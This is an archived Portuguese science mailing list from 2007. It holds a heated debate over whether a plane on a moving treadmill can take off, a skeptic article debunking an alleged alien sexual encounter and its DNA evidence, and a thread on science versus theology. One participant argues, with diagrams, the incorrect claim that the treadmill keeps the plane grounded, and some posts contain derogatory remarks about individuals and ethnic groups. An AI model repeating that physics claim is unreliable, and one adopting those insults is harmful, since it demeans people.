> Renato: "Vc lembra como eram feitas as filmagens antigamente em que os
> protagonistas ficavam em um carro ou diligência parada, sacolejando, e
> o cenário rodava atrás dando a impressão de que o que se movimentava
> era o carro ou a diligência. "
>
> Está enganado. E está com enormes problemas em entender a questão da
> propulsão. As diligencias usam as rodas, ou melhor, os cavalos e o
> atrito de suas patas na esteira para se mover, por isso podem ficar
> paradas enquanto a esteira rola para tras. Se colocar um "jato" nas
> costas da diligencia, esta sairia andando para frente, não importa o
> quanto a esteira rolasse para tras.
>
> Se entendesse isso, entenderia seu erro recorrente.
>
> Coloque um carro na esteira de testes das montadoras, e este ficará
> parado sobre ela, pois usa as rodas como tração. Coloque um avião, e
> este sairá voando, não importa o que a esteira faça.
>
> A esteira apenas pode compensar a tração das rodas, não a propulsão do
> avião.
>
> Estou com preguiça de continuar a explicar esta questão, Renato. Se
> "acredita" que a esteira impede a decolagem, tudo bem, é mais uma
> coisa em que 'acredita" e não sou eu (ou qualquer dos muitos
> co-listeiros que tentaram) que vai conseguir explicar para você seu erro.
>
> Renato: "Até o momento, apenas o Takata parece que percebeu essa
> possibilidade quando afirmou "depende". Mas depois calou-se
> obsequiosamente."
>
> Não, Renato, o Takata estava apresentando uma questão totalmente
> diferente de sua afirmação, nem de perto poderia ser considerada uma
> validação do seu erro. Ele defendia que, em determinadas
> circunstâncias, o atrito dos rolamentos podia ser equivalente a
> propulsão do avião (jato ou hélices).
>
> Observe que, em uma situação hipotética, onde o atrito era zero, ele
> concordava totalmente que o avião decolaria sem problemas E SEM
> DEPENDER DE QUE REFERENCIAL SERIA USADO, ESTEIRA OU CHÃO.
>
> Foi o que eu tentei explicar ao Takata, a posição dele, extrema em
> relação ao atrito dos rolamentos, estava "confundindo" você, e o
> fazendo-o pensar que mais alguém achava que a esteira podia, por seu
> movimento "compensatório", impedir a decolagem.
>
> Mais uma vez então, SE houver atrito suficiente, seja nos rolamentos,
> seja com uma corda amarrada no rabo do avião, e este for capaz de
> compensar a propulsão, o avião não decola. Isso é a posição do Takata.
>
> A sua, errada completamente, é que "depende do referencial", pois a
> esteira, apenas por "rolar para tras", poderia compensar o avanço para
> frente do avião. Esquecendo que este avança DEVIDO a propulsão e não
> as rodas.
>
> Mais uma vez, se você tivesse razão, mesmo com atrito zero nos
> rolamentos, o avião NÃO decolaria, pois a esteira estaria
> "compensando" o movimento para frente. Mas não está, não pode, não tem
> como, etc.
>
> E chega de absurdos. Entendo que a questão foi proposta como uma
> "pegadinha" e que boa parte das pessoas chega a conclusão errada,
> antes de entender o problema corretamente. Mas tudo tem limite, e
> depois de chegar a conclusão errada, a maioria das pessoas consegue
> entender o problema corretamente!
>
> Ou está todo mundo errado, inclusive o Takata, ou você está errado e
> não entendeu ainda o problema. O que acha mais provável, Renato?
>
> Homero



SUBJECT: Australiano afirma ter feito sexo com ETs e recolhido material para teste de DNA
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 07/04/2007 13:33

Australiano afirma ter feito sexo com ETs e recolhido material para teste de
DNA <http://www.ceticismoaberto.com/news/?p=859>

Primeiro, leia como o *Agora Cosmopolitan* relata *o incr�vel caso de Peter
Khouri*<http://www.alagoas24horas.com.br/conteudo/index.asp?vEditoria=&vCod=26224>
:

Peter Khoury � teria sido for�ado a manter rela��es sexuais com uma "mulher
agressiva, loura e sem p�los pelo corpo". Khoury diz que deixou sua esposa
no trabalho e, ao voltar para casa, *foi surpreendido por duas mulheres
inteiramente nuas*. "Elas pareciam humanas em todos os aspectos. Uma delas
tinha apar�ncia asi�tica com olhos escuros, cabelo preto e liso ca�do na
altura dos ombros. A outra parecia escandinava, com olhos claros e cabelo
loiro e comprido, que ia at� o meio das costas". *Khoury desconfiou que as
mulheres n�o seriam humanas porque suas formas eram "esculpidas demais"*. �
a loira o pegou pela nuca, puxando-o contra os seios dela. Ele ainda tentou
resistir, mas a suposta extraterrestre insistiu, exigindo uma rea��o do
australiano. "*Ela era muito forte. Me puxou com determina��o e a minha boca
foi parar em cima do mamilo dela. Ent�o eu mordi*".
*Khoury disse que apesar de ter arrancado um peda�o do mamilo da loura, ela
n�o gritou*. *Neste momento a extraterrestre loira se voltou para a outra*,
com apar�ncia asi�tica, e esta por sua vez se voltou diretamente para ele
exibindo a mesma express�o de choque contemplativo ou confus�o que a loira
estava. Involuntariamente, reagindo � express�o das duas, *ele engoliu o
pequeno fragmento do mamilo *que ainda estava em sua boca e este ficou preso
em sua garganta. Come�ando a tossir fortemente. *Foi quando, de repente, as
duas mulheres simplesmente desapareceram*. Depois disso, Khoury sentiu
uma *vontade
enorme de ir ao banheiro e descobriu dois finos fios de cabelo loiro em
volta de seu p�nis, que estava dolorido*. Quando conseguiu retirar os fios,
colocou-os imediatamente num saco pl�stico sel�vel. "Fiz isso porque tive
certeza que algo muito bizarro tinha acontecido comigo", justificou."�
*Os fios de cabelo, guardados desde o dia do encontro, tornaram-se objeto do
primeiro teste aberto de DNA feito a partir de uma evid�ncia de abdu��o.*


Felizmente, o uf�logo que investigou o caso de Khoury, Bill Chalker,
escreveu um artigo a respeito e este est� dispon�vel na �ntegra, em ingl�s,
aqui: "Strange Evidence <http://www.cufos.org/strange_evidence.pdf>". Vamos
direto ao que importa, os resultados das an�lises do que � sem d�vida uma
evid�ncia f�sica (embora, do qu� exatamente, seja algo muito mais
complicado). Senhoras e senhores, um excerto da conclus�o do APEG redigida
em 1999:

"an�lise do DNA mitocondrial da haste do cabelo de uma suposta
extraterrestre loira e alta mostra que ela � biologicamente pr�xima �
gen�tica humana normal, mas de um tipo racial incomum� o cabelo louro
fornece uma seq��ncia de DNA estranha e incomum � que n�o poderia advir
facilmente de qualquer pessoa da �rea de Sydney [local dos eventos] exceto
por uma coincid�ncia rar�ssima; e s� � encontrada em poucas pessoas em todo
o mundo. � Embora n�o fosse imposs�vel que ele tivesse contato sexual com
uma mulher branca, quase albina, da �rea de Syndey, tal explica��o �
descartada pela evid�ncia de DNA, que s� se encaixa com um doador de cabelo
Chin�s Mongol�ide. Al�m disso, enquanto seja poss�vel encontrar alguns
chineses em Sydney com o mesmo DNA encontrado em apenas 4% das mulheres
Taiwanesas, n�o seria plaus�vel encontrar uma mulher chinesa aqui com cabelo
fino, quase branco, tendo o mesmo DNA raro. Finalmente, que o cabelo loiro
fino n�o poderia plausivelmente representar uma chinesa com o cabelo
quimicamente tratado (incluindo a raiz) porque seu DNA n�o poderia ser ent�o
facilmente extra�do.
O mais prov�vel doador do cabelo deve ser assim como o jovem alega: uma
mulher loira alta que n�o precisa de muita cor em seu cabelo ou pele como
forma de prote��o contra o sol"

"Fascinante", como diria Spock, que n�o era loiro nem chin�s, mas talvez
sugerisse explica��es mais prosaicas aos elementos. A an�lise de DNA revelou
que o cabelo parece vir de algu�m de origem chinesa. Paradoxalmente,
contudo, o cabelo seria loiro. Aqui reside um enigma. Ou n�o, capit�o. Ao
ler o artigo de Chalker, Khouri descreve o cabelo:

"O cabelo � parecia muito fr�gil, *esbranqui�ado, ao inv�s de preto ou loiro
*� Lembrou-me de uma linha de pescar muito fina� n�o era grosso. � Notei que
era um cabelo alourado, *esbranqui�ado*, n�o precia com o de minha mulher".

Enquanto chineses naturalmente loiros podem ser muito raros, *chineses com
cabelos brancos n�o s�o t�o dif�ceis de encontrar*. Sabe, isso acontece
quando os chineses envelhecem, eles s�o uma ra�a muito esquisita. O que �
assim mais prov�vel, que o cabelo seja de uma loira com DNA chin�s que
infelizmente agora tem um mamilo a menos, mas pode pode surgir e desaparecer
da cama de um homem; ou de alguma idosa (ou idoso) de origem chinesa que de
alguma forma mundana acabou indo parar no p�nis de Khouri?
Apesar do que os jornalistas do Cosmopolitan tenham escrito, e da aus�ncia
de coment�rios de uf�logos, que deveriam saber mais sobre ufologia, �
preciso alertar este n�o � um caso �nico. Seja na an�lise de DNA
supostamente extraterrestre, seja na an�lise s�ria de evid�ncia f�sica
advinda do p�nis de um suposto abduzido. Sim, um outro infelizardo que
encontrou algo que pensou ser extraterrestre em seu p�nis foi Richard Price.
Um belo dia em 1989, um "implante alien�gena" que ele havia notado anos
antes em seu p�nis acabou finalmente por sair espontaneamente. Ele conseguiu
levar o "implante" a David Pritchard, do MIT, que acreditava em abdu��es
alien�genas. Mas a an�lise do "implante" revelou que era composto de camadas
conc�ntricas de fibroblastos, um tipo de c�lula encontrada em tecido
conectivo, material extracelular como col�geno e algumas fibras de algod�o
externas. Isto �, o dermopatologista opinou que o "implante" deveria ter
sido formado ao longo dos anos por excre��es do p�nis de Price e fibras de
suas cuecas de algod�o<http://www.findarticles.com/p/articles/mi_m1430/is_n7_v17/ai_16848268>
.
J� uma suposta garra extraterrestre tamb�m j� teve seu material gen�tico
analisado, em um processo elaborado e extremamente custoso, bancado pelo
milion�rio americano Bob Bigelow. O resultado: era um caracol
seco<http://marcianitosverdes.haaan.com/2006/10/extraterrestres-babosos/>
.
Apesar destes vexames, � preciso notar que tanto Khouri como Price muito
provavelmente acreditam que passaram pelos eventos que descrevem. Khouri �
extremamente sincero ao responder as circunst�ncias de sua vida pessoal na
�poca do incidente com as supostas extraterrestres estonteantes:

Bem, basciamente foi em uma �poca em que tinha machucados na cabe�a e estava
tomando muitos rem�dios, e estava bem doente� fui atacado durante o trabalho
por tr�s sujeitos. Fui atingido com p�s na cabe�a, esp�tulas foram jogadas
em mim. Assim tinha ferimentos bem s�rios. Sofri muita dor. Estava tomando
muita medica��o. Por causa disto eu vomitava constantemente, particularmente
durante a manh� [per�odo em que teve seu encontro].

Price tem um hist�rico n�o muito diferente. J� com rela��o aos pesquisadores
e seus patrocinadores, a quest�o � um pouco mais complexa. Pode ser louv�vel
que invistam *seu pr�prio dinheiro* em an�lises de milhares de d�lares por
acreditar genuinamente que algo extraordin�rio possa ser comprovado. O
problema � que talvez justamente pelo investimento e expectativas, distorcem
os resultados negativos que obt�m. Em todos os tr�s casos citados, apesar de
an�lise indicar que a evid�ncia pouco tinha de anormal, os uf�logos
continuaram propondo explica��es extraterrestres de forma muito similar. No
caso de Price, Pritchard sugeriu que alien�genas poderiam criar implantes
iguais a fur�nculos naturais. No caso do terr�vel caracol seco, o NIDS
continuou defendendo que outras evid�ncias poderiam provar que o caso
envolvia algo extraterrestre ou paranormal. E, como vimos, no caso de
Khouri, preferem imaginar aliens loiras com DNA chin�s do que uma velha
chinesa de cabelos grisalhos.
Exames de DNA s�o um recurso cient�fico poderoso, e n�o � surpresa que
quando podem ser aplicados mesmo em uma �rea nebulosa e repleta de
incertezas como a ufologia, permitam desvelar algo pr�ximo de certezas.
Sabemos que a garra alien do NIDS era um molusco seco. Sabemos que o cabelo
fornecido por Khouri � de origem asi�tica, ainda que branco. Sabemos que o
implante de Price era de suas cuecas de algod�o. Podemos afirmar seguramente
que nada disso ap�ia intepreta��es envolvendo extraterrestres. N�o �
surpresa ent�o que Ademar Gevaerd, editor da revista UFO, tenha fugido do
desafio originalmente proposto por ele mesmo, e acabou n�o oferecendo sequer
uma �nica prova dos extraterrestres que
vende<http://www.ceticismoaberto.com/news/?p=521>(em espanhol
e ingl�s <http://www.users.waitrose.com/%7Emagonia/ms59.htm>, role at� o
final).

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Personalidades <http://www.ceticismoaberto.com/news/?cat=5>,
Extraterrestres<http://www.ceticismoaberto.com/news/?cat=10>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12> | Por Mori Comente!
� <http://www.ceticismoaberto.com/news/?p=859#respond>

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real! Mas � um golfi...


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SUBJECT: Re: [ciencialist] Australiano afirma ter feito sexo com ETs e recolhido material para teste de DNA
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <enigmasonline@yahoogrupos.com.br>, <exobiologia_e_cia@yahoogrupos.com.br>, <painelovni@yahoogrupos.com.br>, <ufoburn@yahoogrupos.com.br>, <Ufolista@yahoogrupos.com.br>, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 07/04/2007 15:54

Mori:
Considerando o nosso estágio atual de tecnologia e as condições morais de
nossos astronautas russos e amiericanos (o brasileiro não conta msis é um
parasita desclassificado, gigolô da pátria), nota-se que uma sociedade
extraterrestre para mandar uma expedição para explorar nosso planeta, jamais
enviaria pessoas para simplesmente fazer sexo com algum humano. Isso é
simplesmente fantasisa, ainda mais que australianos são bem chegados a um
porre.... Acredito que, caso isso ocorra algum dia, será com pompa e
circunstância, o encontro de duas civilizações: É algo possível embora as
distâncias interestelares desafiem hoje, os materiais que temos para fazer o
veículo e a física para desenvolver um motor de ida e volta a velocidade de
anos luz.
Estas historietas, principalmente porqu^r não aguardou o DVA tanto dos
cabelos como do bico do seio que pode ser recuperado do estômago do nosso
artista, com uma sonda gástrica....

sds.,
silvio
----- Original Message -----
From: "Kentaro Mori" <kentaro.mori@gmail.com>
To: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>;
<exobiologia_e_cia@yahoogrupos.com.br>; <painelovni@yahoogrupos.com.br>;
<ufoburn@yahoogrupos.com.br>; <Ufolista@yahoogrupos.com.br>; "lista CA"
<ceticismoaberto@yahoogrupos.com.br>
Sent: Saturday, April 07, 2007 1:33 PM
Subject: [ciencialist] Australiano afirma ter feito sexo com ETs e recolhido
material para teste de DNA


Australiano afirma ter feito sexo com ETs e recolhido material para teste de
DNA <http://www.ceticismoaberto.com/news/?p=859>

Primeiro, leia como o *Agora Cosmopolitan* relata *o incrível caso de Peter
Khouri*<http://www.alagoas24horas.com.br/conteudo/index.asp?vEditoria=&vCod=26224>
:

Peter Khoury . teria sido forçado a manter relações sexuais com uma "mulher
agressiva, loura e sem pêlos pelo corpo". Khoury diz que deixou sua esposa
no trabalho e, ao voltar para casa, *foi surpreendido por duas mulheres
inteiramente nuas*. "Elas pareciam humanas em todos os aspectos. Uma delas
tinha aparência asiática com olhos escuros, cabelo preto e liso caído na
altura dos ombros. A outra parecia escandinava, com olhos claros e cabelo
loiro e comprido, que ia até o meio das costas". *Khoury desconfiou que as
mulheres não seriam humanas porque suas formas eram "esculpidas demais"*. .
a loira o pegou pela nuca, puxando-o contra os seios dela. Ele ainda tentou
resistir, mas a suposta extraterrestre insistiu, exigindo uma reação do
australiano. "*Ela era muito forte. Me puxou com determinação e a minha boca
foi parar em cima do mamilo dela. Então eu mordi*".
*Khoury disse que apesar de ter arrancado um pedaço do mamilo da loura, ela
não gritou*. *Neste momento a extraterrestre loira se voltou para a outra*,
com aparência asiática, e esta por sua vez se voltou diretamente para ele
exibindo a mesma expressão de choque contemplativo ou confusão que a loira
estava. Involuntariamente, reagindo à expressão das duas, *ele engoliu o
pequeno fragmento do mamilo *que ainda estava em sua boca e este ficou preso
em sua garganta. Começando a tossir fortemente. *Foi quando, de repente, as
duas mulheres simplesmente desapareceram*. Depois disso, Khoury sentiu
uma *vontade
enorme de ir ao banheiro e descobriu dois finos fios de cabelo loiro em
volta de seu pênis, que estava dolorido*. Quando conseguiu retirar os fios,
colocou-os imediatamente num saco plástico selável. "Fiz isso porque tive
certeza que algo muito bizarro tinha acontecido comigo", justificou.".
*Os fios de cabelo, guardados desde o dia do encontro, tornaram-se objeto do
primeiro teste aberto de DNA feito a partir de uma evidência de abdução.*


Felizmente, o ufólogo que investigou o caso de Khoury, Bill Chalker,
escreveu um artigo a respeito e este está disponível na íntegra, em inglês,
aqui: "Strange Evidence <http://www.cufos.org/strange_evidence.pdf>". Vamos
direto ao que importa, os resultados das análises do que é sem dúvida uma
evidência física (embora, do quê exatamente, seja algo muito mais
complicado). Senhoras e senhores, um excerto da conclusão do APEG redigida
em 1999:

"análise do DNA mitocondrial da haste do cabelo de uma suposta
extraterrestre loira e alta mostra que ela é biologicamente próxima à
genética humana normal, mas de um tipo racial incomum. o cabelo louro
fornece uma seqüência de DNA estranha e incomum . que não poderia advir
facilmente de qualquer pessoa da área de Sydney [local dos eventos] exceto
por uma coincidência raríssima; e só é encontrada em poucas pessoas em todo
o mundo. . Embora não fosse impossível que ele tivesse contato sexual com
uma mulher branca, quase albina, da área de Syndey, tal explicação é
descartada pela evidência de DNA, que só se encaixa com um doador de cabelo
Chinês Mongolóide. Além disso, enquanto seja possível encontrar alguns
chineses em Sydney com o mesmo DNA encontrado em apenas 4% das mulheres
Taiwanesas, não seria plausível encontrar uma mulher chinesa aqui com cabelo
fino, quase branco, tendo o mesmo DNA raro. Finalmente, que o cabelo loiro
fino não poderia plausivelmente representar uma chinesa com o cabelo
quimicamente tratado (incluindo a raiz) porque seu DNA não poderia ser então
facilmente extraído.
O mais provável doador do cabelo deve ser assim como o jovem alega: uma
mulher loira alta que não precisa de muita cor em seu cabelo ou pele como
forma de proteção contra o sol"

"Fascinante", como diria Spock, que não era loiro nem chinês, mas talvez
sugerisse explicações mais prosaicas aos elementos. A análise de DNA revelou
que o cabelo parece vir de alguém de origem chinesa. Paradoxalmente,
contudo, o cabelo seria loiro. Aqui reside um enigma. Ou não, capitão. Ao
ler o artigo de Chalker, Khouri descreve o cabelo:

"O cabelo . parecia muito frágil, *esbranquiçado, ao invés de preto ou loiro
*. Lembrou-me de uma linha de pescar muito fina. não era grosso. . Notei que
era um cabelo alourado, *esbranquiçado*, não precia com o de minha mulher".

Enquanto chineses naturalmente loiros podem ser muito raros, *chineses com
cabelos brancos não são tão difíceis de encontrar*. Sabe, isso acontece
quando os chineses envelhecem, eles são uma raça muito esquisita. O que é
assim mais provável, que o cabelo seja de uma loira com DNA chinês que
infelizmente agora tem um mamilo a menos, mas pode pode surgir e desaparecer
da cama de um homem; ou de alguma idosa (ou idoso) de origem chinesa que de
alguma forma mundana acabou indo parar no pênis de Khouri?
Apesar do que os jornalistas do Cosmopolitan tenham escrito, e da ausência
de comentários de ufólogos, que deveriam saber mais sobre ufologia, é
preciso alertar este não é um caso único. Seja na análise de DNA
supostamente extraterrestre, seja na análise séria de evidência física
advinda do pênis de um suposto abduzido. Sim, um outro infelizardo que
encontrou algo que pensou ser extraterrestre em seu pênis foi Richard Price.
Um belo dia em 1989, um "implante alienígena" que ele havia notado anos
antes em seu pênis acabou finalmente por sair espontaneamente. Ele conseguiu
levar o "implante" a David Pritchard, do MIT, que acreditava em abduções
alienígenas. Mas a análise do "implante" revelou que era composto de camadas
concêntricas de fibroblastos, um tipo de célula encontrada em tecido
conectivo, material extracelular como colágeno e algumas fibras de algodão
externas. Isto é, o dermopatologista opinou que o "implante" deveria ter
sido formado ao longo dos anos por excreções do pênis de Price e fibras de
suas cuecas de
algodão<http://www.findarticles.com/p/articles/mi_m1430/is_n7_v17/ai_16848268>
.
Já uma suposta garra extraterrestre também já teve seu material genético
analisado, em um processo elaborado e extremamente custoso, bancado pelo
milionário americano Bob Bigelow. O resultado: era um caracol
seco<http://marcianitosverdes.haaan.com/2006/10/extraterrestres-babosos/>
.
Apesar destes vexames, é preciso notar que tanto Khouri como Price muito
provavelmente acreditam que passaram pelos eventos que descrevem. Khouri é
extremamente sincero ao responder as circunstâncias de sua vida pessoal na
época do incidente com as supostas extraterrestres estonteantes:

Bem, basciamente foi em uma época em que tinha machucados na cabeça e estava
tomando muitos remédios, e estava bem doente. fui atacado durante o trabalho
por três sujeitos. Fui atingido com pás na cabeça, espátulas foram jogadas
em mim. Assim tinha ferimentos bem sérios. Sofri muita dor. Estava tomando
muita medicação. Por causa disto eu vomitava constantemente, particularmente
durante a manhã [período em que teve seu encontro].

Price tem um histórico não muito diferente. Já com relação aos pesquisadores
e seus patrocinadores, a questão é um pouco mais complexa. Pode ser louvável
que invistam *seu próprio dinheiro* em análises de milhares de dólares por
acreditar genuinamente que algo extraordinário possa ser comprovado. O
problema é que talvez justamente pelo investimento e expectativas, distorcem
os resultados negativos que obtém. Em todos os três casos citados, apesar de
análise indicar que a evidência pouco tinha de anormal, os ufólogos
continuaram propondo explicações extraterrestres de forma muito similar. No
caso de Price, Pritchard sugeriu que alienígenas poderiam criar implantes
iguais a furúnculos naturais. No caso do terrível caracol seco, o NIDS
continuou defendendo que outras evidências poderiam provar que o caso
envolvia algo extraterrestre ou paranormal. E, como vimos, no caso de
Khouri, preferem imaginar aliens loiras com DNA chinês do que uma velha
chinesa de cabelos grisalhos.
Exames de DNA são um recurso científico poderoso, e não é surpresa que
quando podem ser aplicados mesmo em uma área nebulosa e repleta de
incertezas como a ufologia, permitam desvelar algo próximo de certezas.
Sabemos que a garra alien do NIDS era um molusco seco. Sabemos que o cabelo
fornecido por Khouri é de origem asiática, ainda que branco. Sabemos que o
implante de Price era de suas cuecas de algodão. Podemos afirmar seguramente
que nada disso apóia intepretações envolvendo extraterrestres. Não é
surpresa então que Ademar Gevaerd, editor da revista UFO, tenha fugido do
desafio originalmente proposto por ele mesmo, e acabou não oferecendo sequer
uma única prova dos extraterrestres que
vende<http://www.ceticismoaberto.com/news/?p=521>(em espanhol
e inglês <http://www.users.waitrose.com/%7Emagonia/ms59.htm>, role até o
final).

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Personalidades <http://www.ceticismoaberto.com/news/?cat=5>,
Extraterrestres<http://www.ceticismoaberto.com/news/?cat=10>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12> | Por Mori Comente!
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SUBJECT: Re: [ciencialist] Chega, Renato... - Re: Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/04/2007 18:43

Caro, Homero!

Em vez de vc rebater meu raciocínio e apresentar as falhas dele vc parece
que fica tão atordoado que passa a não tratar mais da questão e sim fazer
uma análise virtual da minha fé-cega-teimosa que nada acrescenta à
solução do problema.

Vc já pensou por um momento que é vc quem não consegue visualizar o arranjo
que tento lhe passar, no qual as velocidades da esteira-pista e do avião são
medidas a partir de um ponto fixo localizado sobre a esteira que esta se
movimentando? E o ponto junto com ela também se movimentando para trás?
Não é vergonha admitir isso, é lucidez e libertação.

Dê uma olhada nas três esquemas abaixo e apresente sua discordância de
forma objetiva:


fig.1 - Esquema básico. Esteira parada e o avião =}> estacionado no ponto
'o'.

<= direção desloc esteira =}> direção desloc avião =>
________________________'o'__________________________

O = ponto de referência localizado sobre a esteira.


fig. 2 - Esteira parada. O avião com turbinas acionadas-aceleradas
percorre sobre a esteira uma espaço de 1000m e atinge no
ponto ' f ' a velocidade de 180km/h, após 10 segundos.
O ponto de ref. 'o' permanece no mesmo lugar.

esteira parada
avião =}>
/________________________'o'_________________f_____
|
1000m |


fig. 3 - Esteira e avião começam simultaneamente a se movimentar,
com a mesma aceleração do avião da figura anterior, até atingir
uma velocidade de 180km/h, após 10seg. O avião rola-desliza sobre
a esteira 1000 metros para a direita e a esteira 1000 metros para
a esquerda. O ponto de ref. 'o' localizado sobre a esteira se desloca
junto e, após os 10 segundos, passa a ocupar a posição o' situado
1000 m a esquerda do ponto original 'o'. E o avião, que estaria no
ponto f caso a esteira se mantivesse parada, continua a ocupar o
ponto original 'o', isto é, praticamente continua parado em relação
ao ar e ao solo. Sem sustentação corre sobre a esteira em alta
velocidade mas não voa.

<= esteira acionada
avião =}>
/_______o'_________________'o'_________________f_____
| 1000m | 1000m
|

A velocidade de ambos pode aumentar simultaneamente até o
máximo e o avião permanecerá no ponto 'o' praticamente parado.

[]s

José Renato
............................................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 06, 2007 4:59 PM
Subject: [ciencialist] Chega, Renato... - Re: Balanço do avião


Ola Renato

Renato: "teria se deslocado também 1000 metros para trás, "trazendo"
ou mantendo o avião ao/no mesmo ponto inicial de decolagem"

Chega, Renato! Pessoas com esse padrao de "fe'", cega e teimosa,
tornam impossivel qualquer discussao!

Todo mundo tentou explicar para voce, a esteira NAO traz, ela nao pode
trazer, ela nao tem como trazer o aviao para tras!!!

A UNICA coisa que ela pode fazer e' girar as rodas do aviao mais
rapido do que girariam se este estivesse decolando de um piso fixo.
So' isso, NADA mais.

Para TRAZER o aviao ela teria de aplicar forca neste, e forca que
compensasse a propulsao, e ela NAO pode.

O Takata apenas tentou demonstrar que em algumas circunstancias os
rolamentos poderiam, no limite, agir dessa forma. Mas voce nao
entende, ao rolar para tras a esteira NAO TRAZ, NAO TEM COMO TRAZER,
NAO PODE TRAZER, o aviao ao ponto de partida.

Ela pode apenas "girar" as rodas mais rapido.

Pense na diligencia (pense, nao doi!), e o cara que a empurra ou os
cavalos que a puxam de FORA da esteira (que e' o mesmo que as helices
e os jatos). A diligencia NAO volta se a esteira e' ligada, ela apenas
tem as rodas girando mais rapido!!!!


Eu desisto. Outros talvez queiram tentar explicar para voce, ms eu
desisto. Se quer "acreditar" em mais alguma coisa, que o aviao nao
decola, e' direito seu, e eu desisto.

Homero




SUBJECT: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesadoparadoxo
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/04/2007 18:45

Silvio, certamente que toda vez que a humanidade e sua "casa" não for
considerada pelas ciências, pelos cientistas, etc. pagamos por isso
direta ou indiretamente, a curto, médio ou a longo prazo...
Abraços
José Renato
.......................................

From: "Silvio Cordeiro" <scordeiroes@To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, April 07, 2007 11:07 AM
Subject: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em
defesadoparadoxo


Renato: boas palavras.
Rezemos para que o bom deus jamais entre num laboratório.

sds.,
silvio
.............................................

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, April 07, 2007 10:10 AM
Subject: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em
defesa doparadoxo


Professor, esclareço melhor meu comentário.
Discordei de vc quanto ao motivo de não haver conflito entre Ciência,
Filosofia e Teologia. Não é porque elas não tenha relação causal entre si,
mas sim e exatamente por elas terem como objetivo direto ou indireto o
entendimento do mundo pela humanidade. Os caminhos podem ser diferentes
mas
apontam ou deveriam apontar a uma mesma direção: a humanidade. Os desvios
ocorrem em todas elas, o que não invalida suas diversas linguagens para um
melhor entendimento da presença da humanidade no universo.
[]s
JR
................................................

From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
Sent: Friday, April 06, 2007 7:51 AM
Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em
defesa
doparadoxo

Olá José Renato,

Eu não me lembro de ter dito que havia algum conflito entre elas ("De
fato, não há nenhum conflito entre Ciência, Filosofia e Teologia, pois
cada uma trata de uma coisa que não tem nenhuma relação causal com a
outra."), os "conflitos" parecem surgir quando se confundi uma com
outra. Também não disse nada contra nossa liberdade de pensar,
imaginar ou "viajar na maionese" tentando criar um outro mundo onde
ciência, filosofia e teologia sejam tudo um só balaio de gatos, só não
confundo essa liberdade com os "fatos". E os fatos são claros para
mim: ciência lida com a realidade física, filosofia com o mundo das
idéias do universo de valores humanos e teologia com uma fantasia que
sustenta milhares de "padres e pastores" a troco de nada. :)

O Bulcão (esqueci de citar ele na lista dos "expulsáveis", he he) fez
uma alusão a uma "faixa cinza" (ou algo assim) que representaria os
limites entre uma coisa e outra. Eu não modelo a realidade usando
faixas de transição entre a lei da gravidade de Newton e a teoria do
lugar natural de Aristóteles e não aceito esse argumento como
validador para especulações sobre a convergência entre áreas
distintas, mas não posso impedi-lo de aceitar. Por isso mesmo disse
que em determinados momentos toda essa nossa conversa perde
completamente o sentido, pois enquanto "eu peço uma coca-cola, ela
pensa em casamento..." ("Sem lenço nem documento").

Então é isso José Renato. Temos crenças diferentes sobre esses temas.
Rezemos aos nossos deuses em templos separados. :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu

Caro Prof. José Carlos, não há conflitos entre Ciência, Filosofia e
Teologia porque todas tratam - ou deveriam tratar - daquilo que somos.
Entender isso é fácil: somos a referência de tudo o que constatamos
na realidade. São esses conhecimentos que nos ensinam sobre a
existência da humanidade e de sua sobrevivência em um paraíso que
não conseguimos preservar por falta de sapiência em perceber o que vc
disse em mensagem a Homero: aprender ciência é aprender sobre humanidade.
Não dá para separar uma da outra.
[]s
José Renato
.................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Thursday, April 05, 2007 12:52 AM
> Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em
defesa
> doparadoxo
>
>
> Homero,
>
> Aproveitando a deixa e o fato de que estou lendo as todas mensagens
> dessa semana, vou sugerir uma técnica diferente de argumentação que
> tenho usado e tem dado certo contra esses pecadores:
>
> De fato, não há nenhum conflito entre Ciência, Filosofia e Teologia,
> pois cada uma trata de uma coisa que não tem nenhuma relação causal
> com a outra. A Ciência se preocupa com o mundo físico onde existimos e
> tem as melhores respostas para explicar seus fenômenos; a Filosofia
> trata de um outro mundo, o mundo das idéias sobre conceitos
> subjetivos como ética, moral, arte, beleza e outras coisas
> incomensuráveis e; por fim, a Teologia é uma disciplina que trata de
> devaneios malucos sobre coisas estranhas de um universo fictício que
> só servem para justificar o dízimo pago pelos crentes.
>
> Experimente usar isso, você vai ver como funciona. :)
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@> escreveu
> >
> > Olá Renato
> >
> > Renato: "Não há conflito entre Ciências, Filosofia, Teologia como
> > muitos pensam."
> >
> > Não é conflito, é guerra mesmo. Não apenas são incompatíveis, ciência
